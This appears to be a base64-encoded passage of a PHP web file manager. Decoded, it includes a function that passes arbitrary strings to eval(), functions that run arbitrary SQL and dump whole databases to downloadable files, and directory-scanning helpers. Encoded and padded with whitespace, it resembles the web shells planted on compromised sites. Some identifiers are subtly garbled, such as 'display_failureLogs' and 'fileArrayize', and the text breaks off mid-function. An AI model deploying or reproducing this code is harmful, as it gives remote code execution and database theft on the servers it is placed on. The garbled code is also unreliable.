AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgaWYoaXNfZmlsZSgkZi4nLycuJGZpbGVfZ2V0KSkgJHNpemUrPWZpbGVBcnJheWl6ZSgkZi4nLycuJGZpbGVfZ2V0KTsNCgkgICAgIAkgICAgIAkgICAgIGVsc2UgJHNpemUrPWZtX2Rpcl9zaXplKCRmLicvJy4kZmlsZV9nZXQsZmFsc2UpOw0KDQoJICAgICAJICAgICB9DQoJICAgICAJICAgICBjbG9zZWRpcigkZGgpOw0KDQoJICAgICAJICAgICByZXR1cm4gJHNpemUrZmlsZUFycmF5aXplKCRmKTsgDQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLy9zY2FuIGRpcmVjdG9yeQ0KZnVuY3Rpb24gZm1fc2Nhbl9kaXIoJGRpcmVjdG9yeSwgJGV4cCA9ICcnLCAkdHlwZSA9ICdhbGwnLCAkZG9fbm90X2ZpbHRlciA9IGZhbHNlKSB7DQoNCgkgICAgICRkaXIgPSAkbmRpciA9IGFycmF5KCk7DQoNCgkgICAgIGlmKCFlbXB0eSgkZXhwKSl7DQoNCgkgICAgIAkgICAgICRleHAgPSAnL14nIC4gc3RyX3JlcGxhY2UoJyonLCAnKC4qKScsIHN0cl9yZXBsYWNlKCcuJywgJ1xcLicsICRleHApKSAuICckLyc7DQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZighZW1wdHkoJHR5cGUpICYmICR0eXBlICE9PSAnYWxsJyl7DQoJICAgICAJICAgICAkZnVuYyA9ICdpc18nIC4gJHR5cGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KCSAgICAgaWYoQGlzX2RpcigkZGlyZWN0b3J5KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkZmggPSBvcGVuZGlyKCRkaXJlY3RvcnkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRmaCkpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmKHN1YnN0cigkZmlsZW5hbWUsIDAsIDEpICE9ICcuJyB8fCAkZG9fbm90X2ZpbHRlcikgew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYoKGVtcHR5KCR0eXBlKSB8fCAkdHlwZSA9PSAnYWxsJyB8fCAkZnVuYygkZGlyZWN0b3J5IC4gJy8nIC4gJGZpbGVuYW1lKSkgJiYgKGVtcHR5KCRleHApIHx8IHByZWdfbWF0Y2goJGV4cCwgJGZpbGVuYW1lKSkpew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGRpcltdID0gJGZpbGVuYW1lOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgY2xvc2VkaXIoJGZoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgbmF0c29ydCgkZGlyKTsNCg0KCSAgICAgfQ0KCSAgICAgcmV0dXJuICRkaXI7DQoNCn0NCg0KDQpmdW5jdGlvbiBmbV9saW5rKCRnZXQsJGxpbmssJG5hbWUsJHRpdGxlPScnKSB7DQoJICAgICBpZiAoZW1wdHkoJHRpdGxlKSkgJHRpdGxlPSRuYW1lLicgJy5iYXNlbmFtZSgkbGluayk7DQoNCgkgICAgIHJldHVybiAnJm5ic3A7Jm5ic3A7PGEgaHJlZj0iPycuJGdldC4nPScuYmFzZTY0X2VuY29kZSgkbGluaykuJyIgdGl0bGU9IicuJHRpdGxlLiciPicuJG5hbWUuJzwvYT4nOw0KDQp9DQoNCg0KZnVuY3Rpb24gZm1fYXJyX3RvX29wdGlvbigkYXJyLCRuLCRzZWw9Jycpew0KCSAgICAgZm9yZWFjaCgkYXJyIGFzICR2X2NoZWNrcyl7DQoNCgkgICAgIAkgICAgICRiPSR2X2NoZWNrc1skbl07DQoJICAgICAJICAgICAkcmVzLj0nPG9wdGlvbiB2YWx1ZT0iJy4kYi4nIiAnLigkc2VsICYmICRzZWw9PSRiPydzZWxlY3RlZCc6JycpLic+Jy4kYi4nPC9vcHRpb24+JzsNCg0KCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcmV0dXJuICRyZXM7DQoNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQpmdW5jdGlvbiBmbV9sYW5nX2Zvcm0gKCRjdXJyZW50PSdlbicpew0KDQpyZXR1cm4gJw0KPGZvcm0gbmFtZT0iY2hhbmdlX2xhbmciIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIDxzZWxlY3QgbmFtZT0iZm1fbGFuZyIgdGl0bGU9IicuX18oJ0xhbmd1YWdlJykuJyIgb25jaGFuZ2U9ImRvY3VtZW50LmZvcm1zW1wnY2hhbmdlX2xhbmdcJ10uc3VibWl0KCkiID4NCgkgICAgIAkgICAgIDxvcHRpb24gdmFsdWU9ImVuIiAnLigkY3VycmVudD09J2VuJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0VuZ2xpc2gnKS4nPC9vcHRpb24+DQoNCgkgICAgIAkgICAgIDxvcHRpb24gdmFsdWU9ImRlIiAnLigkY3VycmVudD09J2RlJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0dlcm1hbicpLic8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICA8b3B0aW9uIHZhbHVlPSJydSIgJy4oJGN1cnJlbnQ9PSdydSc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdSdXNzaWFuJykuJzwvb3B0aW9uPg0KDQoJICAgICAJICAgICA8b3B0aW9uIHZhbHVlPSJmciIgJy4oJGN1cnJlbnQ9PSdmcic/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdGcmVuY2gnKS4nPC9vcHRpb24+DQoJICAgICAJICAgICA8b3B0aW9uIHZhbHVlPSJ1ayIgJy4oJGN1cnJlbnQ9PSd1ayc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdVa3JhaW5pYW4nKS4nPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgPC9zZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQonOw0KfQ0KDQoJICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmZ1bmN0aW9uIGZtX3Jvb3QoJGRpcm5hbWUpew0KDQoJICAgICByZXR1cm4gKCRkaXJuYW1lPT0nLicgT1IgJGRpcm5hbWU9PScuLicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KDQpmdW5jdGlvbiBmbV9waHAoJHN0cmluZyl7DQoNCgkgICAgICRkaXNwbGF5X2ZhaWx1cmVMb2dzPWluaV9nZXQoJ2Rpc3BsYXlfZmFpbHVyZUxvZ3MnKTsNCg0KCSAgICAgaW5pX3NldCgnZGlzcGxheV9mYWlsdXJlTG9ncycsICcxJyk7DQoJICAgICBvYl9zdGFydCgpOw0KDQoJICAgICBldmFsKHRyaW0oJHN0cmluZykpOw0KDQoJICAgICAkdGV4dCA9IG9iX2dldF9jb250ZW50cygpOw0KDQoJICAgICBvYl9lbmRfY2xlYW4oKTsNCgkgICAgIGluaV9zZXQoJ2Rpc3BsYXlfZmFpbHVyZUxvZ3MnLCAkZGlzcGxheV9mYWlsdXJlTG9ncyk7DQoNCgkgICAgIHJldHVybiAkdGV4dDsNCg0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCi8vU0hPVyBEQVRBQkFTRVMNCg0KZnVuY3Rpb24gZm1fc3FsX2Nvbm5lY3QoKXsNCg0KCSAgICAgZ2xvYmFsICRmbV9jb25maWc7DQoNCgkgICAgIHJldHVybiBuZXcgbXlzcWxpKCRmbV9jb25maWdbJ3NxbF9zZXJ2ZXInXSwgJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10sICRmbV9jb25maWdbJ3NxbF9wYXNzd29yZCddLCAkZm1fY29uZmlnWydzcWxfZGInXSk7DQp9DQoNCg0KDQpmdW5jdGlvbiBmbV9zcWwoJHF1ZXJ5KXsNCg0KCSAgICAgZ2xvYmFsICRmbV9jb25maWc7DQoJICAgICAkcXVlcnk9dHJpbSgkcXVlcnkpOw0KDQoJICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkY29ubmVjdGlvbiA9IGZtX3NxbF9jb25uZWN0KCk7DQoNCgkgICAgIGlmICgkY29ubmVjdGlvbi0+Y29ubmVjdF9lcnJvcikgew0KDQoJICAgICAJICAgICBvYl9lbmRfY2xlYW4oKTsJICAgICANCg0KCSAgICAgCSAgICAgcmV0dXJuICRjb25uZWN0aW9uLT5jb25uZWN0X2Vycm9yOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KCSAgICAgJGNvbm5lY3Rpb24tPnNldF9jaGFyc2V0KCd1dGY4Jyk7DQoNCiAgICAkcXVlcmllZCA9IG15c3FsaV9xdWVyeSgkY29ubmVjdGlvbiwkcXVlcnkpOw0KDQoJICAgICBpZiAoJHF1ZXJpZWQ9PT1mYWxzZSkgew0KCSAgICAgCSAgICAgb2JfZW5kX2NsZWFuKCk7CSAgICAgDQoNCgkgICAgIAkgICAgIHJldHVybiBteXNxbGlfZXJyb3IoJGNvbm5lY3Rpb24pOw0KDQogICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgaWYoIWVtcHR5KCRxdWVyaWVkKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIHdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHF1ZXJpZWQpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRxdWVyeV9yZXN1bHRbXT0gICRyb3c7DQoJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIH0NCgkgICAgIAkgICAgICR2ZHVtcD1lbXB0eSgkcXVlcnlfcmVzdWx0KT8nJzp2YXJfZXhwb3J0KCRxdWVyeV9yZXN1bHQsdHJ1ZSk7CSAgICAgDQoJICAgICAJICAgICBvYl9lbmRfY2xlYW4oKTsJICAgICANCgkgICAgIAkgICAgICRjb25uZWN0aW9uLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIHJldHVybiAnPHByZT4nLnN0cmlwc2xhc2hlcygkdmR1bXApLic8L3ByZT4nOw0KDQoJICAgICB9DQoNCn0NCg0KDQpmdW5jdGlvbiBmbV9iYWNrdXBfdGFibGVzKCR0YWJsZXMgPSAnKicsICRmdWxsX2JhY2t1cCA9IHRydWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBnbG9iYWwgJHBhdGg7DQoJICAgICAkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7DQoNCgkgICAgICRkZWxpbWl0ZXIgPSAiOyBcbiAgXG4iOw0KDQoJICAgICBpZigkdGFibGVzID09ICcqJykJICAgICB7DQoJICAgICAJICAgICAkdGFibGVzID0gYXJyYXkoKTsNCg0KCSAgICAgCSAgICAgJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCg0KCSAgICAgCSAgICAgd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpCSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJHRhYmxlc1tdID0gJHJvd1swXTsNCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICB9IGVsc2Ugew0KCSAgICAgCSAgICAgJHRhYmxlcyA9IGlzX2FycmF5KCR0YWJsZXMpID8gJHRhYmxlcyA6IGV4cGxvZGUoJywnLCR0YWJsZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJHJldHVybj0nJzsNCg0KCSAgICAgZm9yZWFjaCgkdGFibGVzIGFzICR0YWJsZSkJICAgICB7DQoJICAgICAJICAgICAkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsNCgkgICAgIAkgICAgICRudW1fZmllbGRzID0gbXlzcWxpX251bV9maWVsZHMoJHJlc3VsdCk7DQoNCgkgICAgIAkgICAgICRyZXR1cm4uPSAnRFJPUCBUQUJMRSBJRiBFWElTVFMgYCcuJHRhYmxlLidgJy4kZGVsaW1pdGVyOw0KDQoJICAgICAJICAgICAkcm93MiA9IG15c3FsaV9mZXRjaF9yb3coJG15c3FsZGItPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSAnLiR0YWJsZSkpOw0KCSAgICAgCSAgICAgJHJldHVybi49JHJvdzJbMV0uJGRlbGltaXRlcjsNCg0KICAgICAgICBpZiAoJGZ1bGxfYmFja3VwKSB7DQoJICAgICAJICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbnVtX2ZpZWxkczsgJGkrKykgIHsNCg0KCSAgICAgCSAgICAgCSAgICAgd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJldHVybi49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTKCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm9yKCRqPTA7ICRqPCRudW1fZmllbGRzOyAkaisrKQkgICAgIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJvd1skal0gPSBhZGRzbGFzaGVzKCRyb3dbJGpdKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRyb3dbJGpdID0gc3RyX3JlcGxhY2UoIlxuIiwiXFxuIiwkcm93WyRqXSk7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBpZiAoaXNzZXQoJHJvd1skal0pKSB7ICRyZXR1cm4uPSAnIicuJHJvd1skal0uJyInIDsgfSBlbHNlIHsgJHJldHVybi49ICciIic7IH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCRqPCgkbnVtX2ZpZWxkcy0xKSkgeyAkcmV0dXJuLj0gJywnOyB9DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJldHVybi49ICcpJy4kZGVsaW1pdGVyOw0KDQoJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICAgIH0NCg0KDQoNCg0KCSAgICAgCSAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRyZXR1cm4gPSBwcmVnX3JlcGxhY2UoIiNBVVRPX0lOQ1JFTUVOVD1bXGRdKyAjaXMiLCAnJywgJHJldHVybik7DQoJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgICRyZXR1cm4uPSJcblxuXG4iOw0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAvL3NhdmUgZmlsZQ0KICAgICRmaWxlX2dldD1nbWRhdGUoIlktbS1kX0gtaS1zIix0aW1lKCkpLicuc3FsJzsNCg0KCSAgICAgJGhhbmRsZSA9IGZvcGVuKCRmaWxlX2dldCwndysnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZndyaXRlKCRoYW5kbGUsJHJldHVybik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZmNsb3NlKCRoYW5kbGUpOw0KDQoJICAgICAkYWxlcnQgPSAnb25DbGljaz0iaWYoY29uZmlybShcJycuIF9fKCdGaWxlIHNlbGVjdGVkJykuJzogXG4nLiAkZmlsZV9nZXQuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCc/ZGVsZXRlPScgLiAkZmlsZV9nZXQgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOw0KDQogICAgcmV0dXJuICRmaWxlX2dldC4nOiAnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZmlsZV9nZXQsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiRmaWxlX2dldCkuJyA8YSBocmVmPSIjIiB0aXRsZT0iJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGVfZ2V0IC4gJyIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCmZ1bmN0aW9uIGZtX3Jlc3RvcmVfdGFibGVzKCRzcWxGaWxlVG9FeGVjdXRlKSB7DQoNCgkgICAgICRteXNxbGRiID0gZm1fc3FsX2Nvbm5lY3QoKTsNCg0KCSAgICAgJGRlbGltaXRlciA9ICI7IFxuICBcbiI7DQoNCiAgICAvLyBMb2FkIGFuZCBleHBsb2RlIHRoZSBzcWwgZmlsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAkZiA9IGZvcGVuKCRzcWxGaWxlVG9FeGVjdXRlLCJyKyIpOw0KICAgICRzcWxGaWxlID0gZnJlYWQoJGYsZmlsZUFycmF5aXplKCRzcWxGaWxlVG9FeGVjdXRlKSk7DQoNCiAgICAkc3FsQXJyYXkgPSBleHBsb2RlKCRkZWxpbWl0ZXIsJHNxbEZpbGUpOw0KDQoJICAgICANCiAgICAvL1Byb2Nlc3MgdGhlIHNxbCBmaWxlIGJ5IHN0YXRlbWVudHMNCg0KICAgIGZvcmVhY2ggKCRzcWxBcnJheSBhcyAkc3RtdCkgew0KDQogICAgICAgIGlmIChzdHJsZW4oJHN0bXQpPjMpew0KDQoJICAgICAJICAgICAJICAgICAkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCRzdG10KTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCEkcmVzdWx0KXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHNxbEVycm9yQ29kZSA9IG15c3FsaV9lcnJubygkbXlzcWxkYi0+Y29ubmVjdGlvbik7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkc3FsRXJyb3JUZXh0ID0gbXlzcWxpX2Vycm9yKCRteXNxbGRiLT5jb25uZWN0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkc3FsU3RtdCAgICAgID0gJHN0bXQ7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBicmVhazsNCiAgICAgICAgICAgCSAgICAgICAgICB9DQogICAgICAgICAgIAkgICAgICAgfQ0KDQogICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmlmIChlbXB0eSgkc3FsRXJyb3JDb2RlKSkgcmV0dXJuIF9fKCdTdWNjZXNzJykuJyDvv73vv70gJy4kc3FsRmlsZVRvRXhlY3V0ZTsNCg0KZWxzZSByZXR1cm4gJHNxbEVycm9yVGV4dC4nPGJyLz4nLiRzdG10Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0NCg0KZnVuY3Rpb24gZm1faW1nX2xpbmsoJGZpbGVuYW1lKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHJldHVybiAnLi8nLmJhc2VuYW1lKF9fRklMRV9fKS4nP2ltZz0nLmJhc2U2NF9lbmNvZGUoJGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI